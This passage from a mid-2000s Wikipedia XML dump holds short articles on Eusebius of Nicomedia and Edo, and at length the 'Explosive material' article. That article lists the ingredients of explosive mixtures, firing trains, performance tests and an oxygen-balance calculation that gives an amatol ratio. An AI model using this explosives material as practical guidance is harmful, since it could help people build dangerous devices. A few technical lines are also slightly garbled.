* [http://www.russianorthodoxchurch.ws/english Russian Orthodox Church Outside Russia]
* [http://www.ecclesiagoc.gr/ Church of the Genuine Orthodox Christians of Greece]
* [http://mpc.org.mk/ Macedonian Orthodox Church]

===Organizations===
* [http://www.scoba.us/ Standing Conference of Orthodox Bishop of America]
* [http://www.iocc.org/ International Orthodox Christian Charities]
* [http://www.ocmc.org/ Orthodox Christian Mission Center]

===Seminaries and Schools===
* [http://www.orthodoxwiki.org/Seminaries Comprehensive List at OrthodoxWiki]

{{Eastern Christianity}}

[[Category:Eastern Orthodoxy]]
[[Category:Byzantine Empire]]

[[ar:روم أرثوذوكس]]
[[ast:Ilesia ortodoxa]]
[[be:Праваслаўе]]
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[[de:Orthodoxe Kirchen]]
[[el:Ορθόδοξη Εκκλησία]]
[[et:Õigeusk]]
[[es:Iglesia ortodoxa]]
[[eo:Ortodoksismo]]
[[fr:Église orthodoxe]]
[[ko:동방정교회]]
[[id:Gereja Ortodoks]]
[[it:Ortodossia]]
[[he:נצרות אורתודוכסית]]
[[la:Ecclesiae Orthodoxae]]
[[nl:Oosters-orthodoxe Kerken]]
[[ja:東方正教会]]
[[no:Den ortodokse kirke]]
[[pl:Prawosławie]]
[[pt:Igreja Ortodoxa]]
[[ro:Creştinismul ortodox]]
[[ru:Православие]]
[[scn:Chiesa Ortudossa]]
[[sl:Pravoslavje]]
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[[sv:Östligt ortodoxa]]
[[vi:Chính Thống giáo Đông phương]]
[[zh:東正教]]</text>
    </revision>
  </page>
  <page>
    <title>Eastern Orthodox</title>
    <id>10188</id>
    <revision>
      <id>15908018</id>
      <timestamp>2005-05-04T04:43:56Z</timestamp>
      <contributor>
        <username>Xiaopo</username>
        <id>27792</id>
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      <minor />
      <comment>Fixing double redirects</comment>
      <text xml:space="preserve">#REDIRECT [[Eastern Orthodox Church]]</text>
    </revision>
  </page>
  <page>
    <title>Exobiology</title>
    <id>10189</id>
    <revision>
      <id>15908019</id>
      <timestamp>2004-12-11T06:36:27Z</timestamp>
      <contributor>
        <username>Ta bu shi da yu</username>
        <id>75749</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Astrobiology]]</text>
    </revision>
  </page>
  <page>
    <title>Eusebius of Nicomedia</title>
    <id>10190</id>
    <revision>
      <id>37359337</id>
      <timestamp>2006-01-30T14:08:00Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
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      <minor />
      <comment>warnfile  Adding: es</comment>
      <text xml:space="preserve">'''Eusebius of Nicomedia and Constantinople,''' (d. [[341]]) was a bishop of Berytus (modern-day [[Beirut]]) in [[Phoenicia]], then of [[Nicomedia]] where the imperial court resided, and finally of [[Constantinople]] from [[338]] up to his death.

Distantly related to the imperial family of [[Constantine I of the Roman Empire|Constantine]], he not only owed his removal from an insignificant to the most important episcopal see to his influence at court, but the great power he wielded in the Church was derived from that source. With the exception of a short period of eclipse, he enjoyed the complete confidence both of Constantine and [[Constantius II]]; and it was he who baptized the former May, [[337]]. 

Like [[Arius]], he was a pupil of [[Lucian of Antioch]], and it is probable that he held the same views as Arius from the very beginning. He afterward modified his ideas somewhat, or perhaps he only yielded to the pressure of circumstances; but he was, if not the teacher, at all events the leader and organizer, of the [[Arianism|Arian]] party.

At the [[First Council of Nicaea]], [[325]], he signed the Confession, but only after a long and desperate opposition. His defense of Arius angered the emperor, and a few months after the council
he was sent into exile. After the lapse of three years, he succeeded in regaining the imperial favor;
and after his return in [[329]] he brought the whole machinery of the state government into action in
order to impose his views upon the [[Christianity|Church]].

Eusebius baptised [[Constantine I of the Roman Empire|Constantine the Great]] in 337 just before the death of the Emperor.

He is not to be confused with his contemporary [[Eusebius of Caesarea]], the author of a well-known early book of Church History.

{{Schaff-Herzog}}

{{start box}}
{{succession box |
  before=[[Paul I of Constantinople|Paul I]]|
  title=[[List of Constantinople patriarchs|Bishop of Constantinople]]|
  years=[[339]]&amp;ndash;[[341]] |
  after=[[Paul I of Constantinople|Paul I]]|
}}
{{end box}}

[[Category:341 deaths]]
[[Category:Ancient Roman Christianity]]
[[Category:Arian bishops]]

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[[es:Eusebio de Nicomedia]]
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[[pl:Euzebiusz z Nikomedii]]</text>
    </revision>
  </page>
  <page>
    <title>Edo</title>
    <id>10191</id>
    <revision>
      <id>42082850</id>
      <timestamp>2006-03-03T18:35:16Z</timestamp>
      <contributor>
        <username>RexNL</username>
        <id>241337</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/158.123.254.78|158.123.254.78]] ([[User talk:158.123.254.78|talk]]) to last version by RexNL</comment>
      <text xml:space="preserve">:''This article is about the former city name of [[Tokyo]]. For the [[Nigeria]]n state or language, see [[Edo State]] or [[Edo language]]''

'''Edo''' ([[Japanese language|Japanese]]: 江戸, literally: [[Headlands and bays|bay]]-[[door]], &quot;[[estuary]]&quot;, pronounced /{{IPA|edo}}/), once also spelled '''Yedo''' or '''Yeddo''', is the [[Geographical renaming|former name]] of the [[Japan]]ese capital [[Tokyo]]. While there had been early settlements on the hills at [[Tokyo Bay]] for several centuries, the first major event in the history of Edo was the building of the [[Edo Castle]] in [[1457]] by [[Ota Dokan]].

The [[Tokugawa shogunate]] was established in [[1603]] with Edo as its seat of government (''[[de facto]]'' [[capital]]). The emperor's residence, and formal capital, remained in [[Kyoto]]; that city had been the actual capital of Japan until that time.

Edo was devastated repeatedly by fires, the ''Meireki no Taika'' of [[1657]] perhaps having been the most serious one: an estimated 100,000 people perished in the flames. During the [[Edo period]], there were about one hundred fires, typically caused by accidents when the mostly wooden townhouses (''[[Machiya]]'') were heated with [[charcoal]] fires in winter.

In [[1868]], when the [[shogunate]] came to an end, the city was renamed &quot;Tokyo&quot; which means &quot;Eastern Capital&quot;; during the restoration, the emperor moved to Tokyo, making the city the formal as well as de facto capital of Japan. 

During the [[Edo period]], the Shogunate appointed administrators (''machi bugyo'') to oversee the government of Edo. They oversaw the police and (from the time of [[Tokugawa Yoshimune|Yoshimune]] onward) the commoner fire department (''machibikeshi''), heard criminal and civil suits, and performed other administrative functions necessary in a city of a million inhabitants.

==See also==
*[[Tokyo]]
*[[Edo period]]
*[[History of Tokyo]]
*[[iki (aesthetic ideal)|iki]] (one of Japanese aesthetic ideals)
*[[Edokko]] (native of Edo)


==Sources==
Alternate spelling from [[1911 Encyclopædia Britannica]] article

[[Category:history of Tokyo]]
[[Category:Edo period]]

[[br:Edo]]
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[[de:Edo]]
[[et:Edo]]
[[eo:Edo]]
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[[it:Edo]]
[[nl:Edo]]
[[ja:江戸]]
[[pl:Edo (miasto)]]
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[[zh:江戶]]</text>
    </revision>
  </page>
  <page>
    <title>Explosive material</title>
    <id>10192</id>
    <revision>
      <id>41607547</id>
      <timestamp>2006-02-28T13:48:21Z</timestamp>
      <contributor>
        <username>BillFlis</username>
        <id>846916</id>
      </contributor>
      <comment>/* Toxicity */</comment>
      <text xml:space="preserve">[[Image:Eod2.jpg|200px|thumb|Preparing [[C-4 (explosive)|C-4]] explosive]]
:''This article is concerned solely with [[chemical_compound|chemical]] explosives. There are many other varieties of more exotic explosive material, and theoretical methods of causing explosions such as [[nuclear explosive]]s and [[antimatter]], and other methods of producing explosions, such as abrupt heating with a high-intensity [[laser]] or [[electric arc]].''

Any '''explosive material''' has the following characteristics:

* It is [[chemistry|chemically]] or otherwise energetically unstable.
* The initiation produces a sudden expansion of the material accompanied by the production of [[heat]] and large changes in pressure (and typically also a flash or loud noise) which is called the [[explosion]].

== Chemical explosives ==

Explosives are classified as low or high explosives according to their rates of [[Chemical_decomposition|decomposition]]: low explosives burn rapidly (or deflagrate), while high explosives undergo detonation. No sharp distinction exists between low and high explosives, because of the difficulties inherent in precisely observing and measuring rapid decomposition. The chemical [[decomposition]] of an explosive may take [[years]], [[day]]s, [[hour]]s, or a fraction of a [[second]]. The slower processes of decomposition take place in storage and are of interest only from a stability standpoint. Of more interest are the two rapid forms of decomposition, [[deflagration]] and [[detonation]]. The term &quot;[[detonation]]&quot; is used to describe an explosive [[phenomenon]] whereby the decomposition is [[propagation|propagated]] by the explosive [[shockwave]] traversing the explosive material.  The shockwave front is capable of passing through the high explosive material at great speeds, typically thousands of meters per second. Explosive force is released in a direction perpendicular to the surface of the explosive. If the surface is cut or shaped, the explosive forces can be focused directionally, and will produce a greater local effect. This is known as a [[shaped charge]]. In a low explosive, the decomposition is propagated by a flame front which travels much slower through the [[explosive material]]. The properties of the explosive indicate the class into which it falls. In some cases explosives may be made to fall into either class by the conditions under which they are initiated. In sufficiently massive quantities, almost all low explosives can undergo true detonation like high explosives. For convenience, low and high explosives may be [[differentiate|differentiated]] by the shipping and storage classes.

===Explosive compatibility groupings===
[[Image:Dangclass1.gif|thumb|Explosives warning sign]]
Shipping tags will include a UN or US [[Department of Transportation|DOT]] [[hazardous material]] class with compatibility letter as follows.

* '''1.1''' Mass Explosion Hazard
* '''1.2''' Nonmass explosion, fragment-producing
* '''1.3''' Mass fire, minor blast or fragment hazard
* '''1.4''' Moderate fire, no blast or fragment: consumer fireworks are 1.4G or 1.4S
* '''1.5''' Explosive substance, very insensitive (with a mass explosion hazard)
* '''1.6''' Explosive article, extremely insensitive

'''A''' Primary explosive substance (1.1A, 1.2A)

'''B''' An article containing a primary explosive substance and not containing two or more effective protective features. Some articles, such as detonator assemblies for blasting and primers, cap-type, are included. (1.1B, 1.2B, 1.4B)

'''C''' Propellant explosive substance or other deflagrating explosive substance or article containing such explosive substance (1.1C, 1.2C, 1.3C, 1.4C)

'''D''' Secondary detonating explosive substance or black powder or article containing a secondary detonating explosive substance, in each case without means of initiation and without a propelling charge, or article containing a primary explosive substance and containing two or more effective protective features. (1.1D, 1.2D, 1.4D, 1.5D)

'''E''' Article containing a secondary detonating explosive substance without means of initiation, with a propelling charge (other than one containing flammable liquid, gel or hypergolic liquid) (1.1E, 1.2E, 1.4E)

'''F''' Article containing a secondary detonating explosive substance with its means of initiation, with a propelling charge (other than one containing flammable liquid, gel or hypergolic liquid) or without a propelling charge (1.1F, 1.2F, 1.3F, 1.4F)

'''G''' Pyrotechnic substance or article containing a pyrotechnic substance, or article containing both an explosive substance and an illuminating, incendiary, tear-producing or smoke-producing substance (other than a water-activated article or one containing white phosphorus, phosphide or flammable liquid or gel or hypergolic liquid) (1.1G, 1.2G, 1.3G, 1.4G)

'''H''' Article containing both an explosive substance and white phosphorus (1.2H, 1.3H)

'''J''' Article containing both an explosive substance and flammable liquid or gel (1.1J, 1.2J, 1.3J)

'''K''' Article containing both an explosive substance and a toxic chemical agent (1.2K, 1.3K)

'''L''' Explosive substance or article containing an explosive substance and presenting a special risk (e.g., due to water-activation or presence of hypergolic liquids, phosphides or pyrophoric substances) needing isolation of each type (1.1L, 1.2L, 1.3L)

'''N''' Articles containing only extremely insensitive detonating substances (1.6N)

'''S''' Substance or article so packed or designed that any hazardous effects arising from accidental functioning are limited to the extent that they do not significantly hinder or prohibit fire fighting or other emergency response efforts in the immediate vicinity of the package (1.4S)

===Low Explosives=== '''Low explosives''' are normally employed as [[propellants]]. Most low explosives are mixtures; most high explosives are compounds, but to both there are notable exceptions. They undergo [[deflagration]] at rates that vary from a few [[centimeters]] per second to approximately 400 [[meters]] per second. Included in this group are smokeless powders and pyrotechnics such as flares and illumination devices.

===High Explosives=== '''High explosives''' are normally employed in mining, demolition, and military warheads. They undergo detonation at rates of 1,000 to 9,000 meters per second. High explosives are conventionally subdivided into two classes differentiated by sensitivity:

* '''[[Primary explosive|Primary explosives]]''' are extremely sensitive to shock, friction, and heat. They will burn rapidly or detonate if ignited.
* '''Secondary explosives''', also called '''base explosives''', are relatively insensitive to shock, friction, and heat. They may burn when ignited in small, unconfined quantities, but detonation can occur. These are sometimes added in small amounts to blasting caps to boost their power. Dynamite, TNT, RDX, PETN, HMX, and others are secondary explosives. PETN is often considered a benchmark compound, with materials that are more sensitive than PETN being classified as primary explosives.

Some definitions add a third category:
* '''Tertiary explosives''', also called '''blasting agents''', are so insensitive to shock that they cannot be reliably detonated by practical quantities of primary explosive, and instead require an intermediate [[explosive booster]] of secondary explosive. Examples include an Ammonium Nitrate/Fuel Oil mixture ([[ANFO]]) and slurry or 'Wet Bag' explosives. These are primarily used in large-scale mining and construction operations.

Note that many if not most explosive chemical compounds may usefully [[deflagration | deflagrate]] as well as detonate, and are used in high as well as low explosive compositions. This also means that under extreme conditions, a propellant can detonate. For example, [[nitrocellulose]] deflagrates if ignited, but detonates if initiated by a detonator.
====Detonation of an Explosive Charge====
Also called an '''initiation sequence''' or a '''firing train''', this is the sequence of events that progresses from relatively low levels of energy to cause a chain reaction to initiate the final explosive material or main charge. They can be either low or high explosive trains. Low explosive trains are as simple as a rifle cartridge, including a primer and a propellant charge. High explosives trains can be more complex, either two-step (e.g., [[detonator]] and [[dynamite]]) or three-step (e.g., detonator, [[explosive booster|booster]] of primary explosive, and main charge of secondary explosive). Detonators are often made from [[tetryl]] and [[fulminate|fulminates]].

=== Composition of the material ===

'''Mixtures of an oxidizer and a fuel'''

* '''[[Black powder]]''': [[potassium nitrate]], [[charcoal]] and [[sulfur]]
* '''[[Flash powder]]''': fine metal powder (usually [[aluminium]] or [[magnesium]]) and a strong oxidizer (e.g. [[potassium chlorate]] or [[potassium perchlorate|perchlorate]]).
* '''[[Ammonal]]''': [[ammonium nitrate]] and [[aluminium]] powder.
* '''[[Armstrong's mixture]]''': [[potassium chlorate]] and red [[phosphorus]]. This is a very sensitive mixture. It is a primary high explosive in which sulfur is substitute for some or all phosphorus to slightly decrease sensitivity.
* '''[[Sprengel explosive]]s''': a very general class incorporating any strong oxidizer and highly reactive fuel, although in practice the name most commonly was applied to mixtures of chlorates and nitroaromatics
** '''[[ANFO]]''': [[ammonium nitrate]] and [[fuel oil]].
** '''[[Cheddite]]s''': [[chlorate]]s or [[perchlorate]]s and oil
** '''[[Oxyliquit]]s''': mixtures of organic materials and [[liquid oxygen]]

'''Chemically pure compounds'''

* '''[[Nitroglycerin]]''': a highly unstable and sensitive liquid, known as [[dynamite]] when mixed into [[sawdust]], powdered [[silica]], or most commonly [[diatomaceous earth]], which act as stabilizers.
* '''[[Acetone peroxide]]''': A very unstable white [[organic peroxide]]
* '''[[Trinitrotoluene|TNT]]''': Yellow insensitive crystals that can be melted and cast without detonation.
* '''[[Nitrocellulose]]''': A nitrated polymer which can be a high or low explosive depending on nitration level and conditions.
* '''[[RDX]]''', '''[[PETN]]''', '''[[HMX]]''': Very powerful explosives which can be used pure or in plastic explosives.
** '''[[C4 explosive|C-4]]''' (or Composition C-4): An [[RDX]] [[plastic explosive]] plasticized to be adhesive and malleable.

The above compositions may describe the majority of the explosive material, but a practical explosive will often include small percentages of other materials. Plastics and polymers may be added to bind powders of explosive compounds; waxes may be incorporated to make them safer to handle; aluminum powder may be introduced to increase total energy and blast effect. Explosive compounds are also often &quot;alloyed&quot;: HMX or RDX powders maybe mixed (typically by melt-casting) with TNT to form [[Octol]] or [[Cyclotol]].

==Chemical explosive reaction==

A chemical explosive is a compound or mixture which, upon the application of heat or shock, [[Decompose|decomposes]] or rearranges with extreme rapidity, yielding much [[gas]] and heat. Many substances not ordinarily classed as explosives may do one, or even two, of these things. For example, a mixture of [[nitrogen]] and [[oxygen]] can be made to react with great rapidity and yield the gaseous product [[nitric oxide]]; yet the mixture is not an explosive since it does not evolve heat, but rather absorbs heat.

:N&lt;sub&gt;2&lt;/sub&gt; + O&lt;sub&gt;2&lt;/sub&gt; → 2NO - 43,200 [[calories]] (or 180 [[Joule|kJ]]) per [[mole (unit)|mole]] of N&lt;sub&gt;2&lt;/sub&gt;

For a chemical to be an explosive, it must exhibit all of the following:

* Exhibit Rapid Expansion (eg. rapid production of gasses or rapid heating of surroundings)
* Evolution of heat
* Rapidity of reaction
* Initiation of reaction

=== Formation of gases ===

Gases may be evolved from substances in a variety of ways. When [[wood]] or [[coal]] is burned in the [[Earth's atmosphere|atmosphere]], the [[carbon]] and [[hydrogen]] in the fuel combine with the oxygen in the atmosphere to form [[carbon dioxide]] and steam, together with flame and smoke. When the wood or coal is pulverized, so that the total surface in contact with the oxygen is increased, and burned in a furnace or forge where more air can be supplied, the burning can be made more rapid and the combustion more complete. When the wood or coal is immersed in [[liquid oxygen]] or suspended in air in the form of dust, the burning takes place with explosive violence. In each case, the same action occurs: a burning combustible forms a gas.

=== Evolution of heat===

The generation of heat in large quantities accompanies every explosive chemical reaction. It is this rapid liberation of heat that causes the gaseous products of reaction to expand and generate high [[Pressure|pressures]]. This rapid generation of high [[pressure]]s of the released gas constitutes the explosion. It should be noted that the liberation of heat with insufficient rapidity will not cause an explosion. For example, although a pound of coal yields five times as much heat as a pound of [[nitroglycerin]], the coal cannot be used as an explosive because the rate at which it yields this heat is quite slow.

=== Rapidity of reaction===

Rapidity of reaction distinguishes the explosive reaction from an ordinary combustion reaction by the great speed with which it takes place. Unless the reaction occurs rapidly, the thermally expanded gases will be dissipated in the medium, and there will be no explosion. Again, consider a wood or coal fire. As the fire burns, there is the evolution of heat and the formation of gases, but neither is liberated rapidly enough to cause an explosion. For those who know something about electronics, this can be likened to the [[Discharge|energy discharge]] of a [[battery (electricity)|battery]], which is slow; to a flash [[capacitor]], like that in a [[camera]] flash and releases its energy all at once.

===Initiation of reaction===

A reaction must be capable of being initiated by the application of shock or heat to a small portion of the mass of the explosive material. A material in which the first three factors exist cannot be accepted as an explosive unless the reaction can be made to occur when desired.

===Sensitiser===
A sensitiser is a powdered or fine particulate material that is sometimes used to create voids that aid in the initiation or propagation of the detonation wave. [http://cms.3m.com/cms/US/en/2-68/czrzrFE/view.jhtml] It may be as high-tech as glass beads (Glass Bubbles[http://cms.3m.com/cms/US/en/2-68/czrzrFE/view.jhtml]) or as simple as [[black cumin]] seeds[http://webarchive.unionleader.com/articles_showa.html?article=61637].

==Military explosives==

To determine the suitability of an explosive substance for [[military]] use, its [[Physics|physical]] [[properties]] must first be investigated. The usefulness of a military explosive can only be appreciated when these properties and the factors affecting them are fully understood. Many explosives have been studied in past years to determine their suitability for [[military]] use and most have been found wanting. Several of those found acceptable have displayed certain characteristics that are considered undesirable and, therefore, limit their usefulness in military applications. The requirements of a military explosive are stringent, and very few explosives display all of the [[characteristic]]s necessary to make them acceptable for military [[standardization]]. Some of the more important characteristics are discussed below:

===Availability and cost===

In view of the enormous quantity demands of modern warfare, explosives must be produced from cheap raw materials that are nonstrategic and available in great quantity. In addition, manufacturing operations must be reasonably simple, cheap, and safe.

===Sensitivity===

Regarding an explosive, this refers to the ease with which it can be ignited or detonated&amp;mdash;i.e., the amount and intensity of [[shock]], [[friction]], or [[heat]] that is required. When the term [[sensitivity]] is used, care must be taken to clarify what kind of sensitivity is under discussion. The relative sensitivity of a given explosive to impact may vary greatly from its sensitivity to friction or heat. Some of the test methods used to determine sensitivity are as follows:

* '''[[Impact]]''' Sensitivity is expressed in terms of the distance through which a standard weight must be dropped to cause the material to explode.
* '''[[Friction]]''' Sensitivity is expressed in terms of what occurs when a weighted pendulum scrapes across the material (snaps, crackles, ignites, and/or explodes).
* '''[[Heat]]''' Sensitivity is expressed in terms of the temperature at which flashing or explosion of the material occurs.

Sensitivity is an important consideration in selecting an explosive for a particular purpose. The explosive in an armor-piercing projectile must be relatively insensitive, or the shock of impact would cause it to detonate before it penetrated to the point desired.

=== Stability===

Stability is the ability of an explosive to be stored without deterioration. The following factors affect the stability of an explosive:

* '''[[Chemical constitution]].''' The very fact that some common chemical compounds can undergo explosion when heated indicates that there is something unstable in their structures. While no precise explanation has been developed for this, it is generally recognized that certain groups, nitro dioxide (NO&lt;sub&gt;2&lt;/sub&gt;), nitrate (NO&lt;sub&gt;3&lt;/sub&gt;), and azide (N&lt;sub&gt;3&lt;/sub&gt;), are intrinsically in a condition of internal strain. Increased strain through heating can cause a sudden disruption of the [[molecule]] and consequent explosion. In some cases, this condition of molecular instability is so great that decomposition takes place at ordinary temperatures.
* '''[[Temperature]] of storage.''' The rate of decomposition of explosives increases at higher temperatures. All of the standard military explosives may be considered to be of a high order of stability at temperatures of -10 to +35 °C, but each has a high temperature at which the rate of [[decomposition]] becomes rapidly accelerated and stability is reduced. As a rule of thumb, most explosives become dangerously unstable at temperatures exceeding 70 °C.
* '''[[Exposure]] to [[sun]].''' If exposed to the [[ultraviolet]] rays of the sun, many explosive compounds that contain [[nitrogen]] groups will rapidly decompose, affecting their stability.
* '''[[Electrical discharge]].''' [[Electrostatic]] or [[spark]] sensitivity to initiation is common to a number of explosives. Static or other electrical discharge may be sufficient to inspire detonation under some circumstances. As a result, the safe handling of explosives and [[pyrotechnics]] almost always requires electrical [[grounding]] of the operator.

===Power===

The term &quot;power&quot; (or more properly, [[performance]]) as applied to an explosive refers to its ability to do work. In practice it is defined as the explosive's ability to accomplish what is intended in the way of energy delivery (i.e., [[fragment]] projection, air blast, high-velocity jets, underwater shock and bubble energy, etc.). Explosive power or performance is evaluated by a tailored series of tests to assess the material for its intended use. Of the tests listed below, cylinder expansion and air-blast tests are common to most testing programs, and the others support specific applications.

* '''[[Cylinder (geometry)|Cylinder]] expansion test.''' A standard amount of explosive is loaded within a long hollow cylinder, usually of copper, and detonated at one end. Data are collected concerning the rate of radial expansion of the cylinder and maximum cylinder wall velocity. This also establishes the [[Gurney constant]] or 2''E''.
* '''Cylinder [[fragmentation]] test.''' A standard steel cylinder is charged with explosive and fired in a sawdust pit. The fragments are collected and the size distribution analyzed.
* '''[[Detonation]] [[pressure]] (Chapman-Jouguet).''' Detonation pressure data derived from measurements of shock waves transmitted into water by the detonation of cylindrical explosive charges of a standard size.
* '''Determination of critical diameter.''' This test establishes the minimum physical size a charge of a specific explosive must be to sustain its own detonation wave. The procedure involves the detonation of a series of charges of different diameters until difficulty in detonation wave propagation is observed.
* '''[[Infinite|Infinity]] diameter detonation velocity.''' Detonation velocity is dependent on landing density (c), charge diameter, and grain size. The hydrodynamic theory of detonation used in predicting explosive phenomena does not include diameter of the charge, and therefore a detonation velocity, for an imaginary charge of infinite diameter. This procedure requires a series of charges of the same density and physical structure, but different diameters, to be fired and the resulting detonation velocities extrapolated to predict the detonation velocity of a charge of infinite diameter.
* '''Pressure versus scaled distance.''' A charge of specific size is detonated and its pressure effects measured at a standard distance. The values obtained are compared with that for TNT.
* '''Impulse versus scaled distance.''' A charge of specific size is detonated and its impulse (the area under the pressure-time curve) measured versus distance. The results are tabulated and expressed in TNT equivalent.
* '''Relative bubble energy (RBE).''' A 5 to 50 kg charge is detonated in water and piezoelectric gauges are used to measure peak pressure, time constant, impulse, and energy.

::The RBE may be defined as ''K''&lt;sub&gt;''x''&lt;/sub&gt; 3
::RBE = ''K''&lt;sub&gt;''s''&lt;/sub&gt;
::where ''K'' = bubble expansion period for experimental (''x'') or standard (''s'') charge.

===Brisance===
{{main|Brisance}}

In addition to strength, explosives display a second characteristic, which is their shattering effect or brisance (from the French meaning to &quot;break&quot;), which is distinguished from their total work capacity. This characteristic is of practical importance in determining the effectiveness of an explosion in fragmenting shells, bomb casings, [[grenade]]s, and the like. The rapidity with which an explosive reaches its peak pressure is a measure of its brisance. Brisance values are primarily employed in France and Russia.

The sand crush test is commonly employed to determine the relative brisance in comparison to TNT. No single test is capable of directly comparing the explosive properties of two or more compounds; it is important to examine the data from several such tests (sand crush, trauzl, and so forth) in order to gauge relative brisance. True values for comparison will require field experiments.

===Density===

[[Density]] of loading refers to the mass of an explosive per unit volume. Several methods of loading are available, and the one used is determined by the characteristics of the explosive. The methods available include pellet loading, cast loading, and press loading. Dependent upon the method employed, an average density of the loaded charge can be obtained that is within 80-99% of the theoretical maximum density of the explosive. High load density can reduce [[sensitivity]] by making the [[mass]] more [[resistant]] to [[internal]] [[friction]]. However, if density is increased to the extent that individual [[crystals]] are crushed, the explosive may become more sensitive. Increased load density also permits the use of more explosive, thereby increasing the power of the [[warhead]].

===Volatility===

[[Volatility]], or the readiness with which a substance [[vaporize]]s, is an undesirable characteristic in military explosives. Explosives must be no more than slightly volatile at the temperature at which they are loaded or at their highest storage temperature. Excessive volatility often results in the development of pressure within rounds of ammunition and separation of mixtures into their constituents. Stability, as mentioned before, is the ability of an explosive to stand up under storage conditions without deteriorating. Volatility affects the chemical composition of the explosive such that a marked reduction in stability may occur, which results in an increase in the danger of handling. Maximum allowable volatility is 2 ml of gas evolved in 48 hours.

===Hygroscopicity===

The introduction of [[moisture]] into an explosive is highly undesirable since it reduces the sensitivity, strength, and velocity of detonation of the explosive. [[Hygroscopicity]] is used as a measure of a material's moisture-absorbing tendencies. Moisture affects explosives adversely by acting as an inert material that absorbs heat when vaporized, and by acting as a solvent medium that can cause undesired chemical reactions. Sensitivity, strength, and velocity of detonation are reduced by inert materials that reduce the continuity of the explosive mass. When the moisture content evaporates during detonation, cooling occurs, which reduces the temperature of reaction. Stability is also affected by the presence of moisture since moisture promotes decomposition of the explosive and, in addition, causes corrosion of the explosive's metal container. For all of these reasons, hygroscopicity must be negligible in military explosives.

===Toxicity===

Due to their chemical structure, most explosives are toxic to some extent. Since the toxic effect may vary from a mild headache to serious damage of internal organs, care must be taken to limit toxicity in military explosives to a minimum. Any explosive of high toxicity is unacceptable for military use. Explosive product gases are also toxic.

==Measurement of chemical explosive reaction==

The development of new and improved types of ammunition requires a continuous program of research and development. Adoption of an explosive for a particular use is based upon both proving ground and service tests. Before these tests, however, preliminary estimates of the characteristics of the explosive are made. The principles of [[thermochemistry]] are applied for this process.

Thermochemistry is concerned with the changes in internal energy, principally as heat, in chemical reactions. An explosion consists of a series of reactions, highly exothermic, involving decomposition of the ingredients and recombination to form the products of explosion. Energy changes in explosive reactions are calculated either from known chemical laws or by analysis of the products.

For most common reactions, tables based on previous investigations permit rapid calculation of energy changes. Products of an explosive remaining in a closed [[calorimetric bomb]] (a constant-volume explosion) after cooling the bomb back to room temperature and pressure are rarely those present at the instant of maximum temperature and pressure. Since only the final products may be analyzed conveniently, indirect or theoretical methods are often used to determine the maximum temperature and pressure values.

Some of the important characteristics of an explosive that can be determined by such theoretical computations are:

* Oxygen balance
* Heat of explosion or reaction
* Volume of products of explosion
* Potential of the explosive

===Oxygen balance (OB%)===

[[Oxygen balance]] is an expression that is used to indicate the degree to which an explosive can be oxidized. If an explosive molecule contains just enough oxygen to convert all of its carbon to carbon dioxide, all of its hydrogen to water, and all of its metal to metal oxide with no excess, the molecule is said to have a zero oxygen balance. The molecule is said to have a positive oxygen balance if it contains more oxygen than is needed and a negative oxygen balance if it contains less oxygen than is needed. The sensitivity, strength, and brisance of an explosive are all somewhat dependent upon oxygen balance and tend to approach their maximums as oxygen balance approaches zero.

The oxygen balance (OB) is calculated from the empirical formula of a compound in percentage of oxygen required for complete conversion of carbon to carbon dioxide, hydrogen to water, and metal to metal oxide.

The procedure for calculating oxygen balance in terms of 100 grams of the explosive material is to determine the number of moles of oxygen that are excess or deficient for 100 grams of a compound.

:&lt;math&gt;OB\% = \frac{-1600}{Mol. wt. of compound} \times (2X + (Y/2) + M - Z)&lt;/math&gt;

where

''X'' = number of atoms of carbon, ''Y'' = number of atoms of hydrogen, ''Z'' = number of atoms of oxygen, and ''M'' = number of atoms of metal (metallic oxide produced).

In the case of TNT (C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;2&lt;/sub&gt;(NO&lt;sub&gt;2&lt;/sub&gt;)&lt;sub&gt;3&lt;/sub&gt;CH&lt;sub&gt;3&lt;/sub&gt;),

Molecular weight = 227.1

''X'' = 7 (number of carbon atoms)

''Y'' = 5 (number of hydrogen atoms)

''Z'' = 6 (number of oxygen atoms)

Therefore

:&lt;math&gt;OB\% = \frac{-1600}{227.1} \times (14 + 2.5 - 6)&lt;/math&gt;

:OB% = -74% for TNT

Because sensitivity, brisance, and strength are properties resulting from a complex explosive chemical reaction, a simple relationship such as oxygen balance cannot be depended upon to yield universally consistent results. When using oxygen balance to predict properties of one explosive relative to another, it is to be expected that one with an oxygen balance closer to zero will be the more brisant, powerful, and sensitive; however, many exceptions to this rule do exist. More complicated predictive calculations, such as those discussed in the next section, result in more accurate predictions.

One area in which oxygen balance can be applied is in the processing of mixtures of explosives. The family of explosives called amatols are mixtures of ammonium nitrate and TNT. Ammonium nitrate has an oxygen balance of +20% and TNT has an oxygen balance of &amp;minus;74%, so it would appear that the mixture yielding an oxygen balance of zero would also result in the best explosive properties. In actual practice a mixture of 80% ammonium nitrate and 20% TNT by weight yields an oxygen balance of +1%, the best properties of all mixtures, and an increase in strength of 30% over TNT.

===Heat of explosion===
When a chemical compound is formed from its constituents, the reaction may either absorb or give off heat. The quantity of heat absorbed or given off during transformation is called the heat of formation. The heats of formations for solids and gases found in explosive reactions have been determined for a temperature of 15 °C and atmospheric pressure, and are normally tabulated in units of kilocalories per gram molecule. (See table 12-1). Where a negative value is given, it indicates that heat is absorbed during the formation of the compound from its elements. Such a reaction is called an endothermic reaction. The convention usually employed in simple thermochemical calculations is arbitrarily to take heat contents of all elements as zero in their [[standard state]]s at all temperatures (standard state being defined as the state at which the elements are found under natural or ambient conditions). Since the heat of formation of a compound is the net difference between the heat content of the compound and that of its elements, and since the latter are taken as zero by convention, it follows that the heat content of a compound is equal to its heat of formation in such nonrigorous calculations. This leads us to the principle of initial and final state, which may be expressed as follows: &quot;The net quantity of heat liberated or absorbed in any chemical modification of a system depends solely upon the initial and final states of the system, provided the transformation takes place at constant volume or at constant pressure. It is completely independent of the intermediate transformations and of the time required for the reactions.&quot;

From this it follows that the heat liberated in any transformation accomplished through successive reactions is the algebraic sum of the heats liberated or absorbed in the different reactions. Consider the formation of the original explosive from its elements as an intermediate reaction in the formation of the products of explosion. The net amount of heat liberated during an explosion is the sum of the heats of formation of the products of explosion, minus the heat of formation of the original explosive.

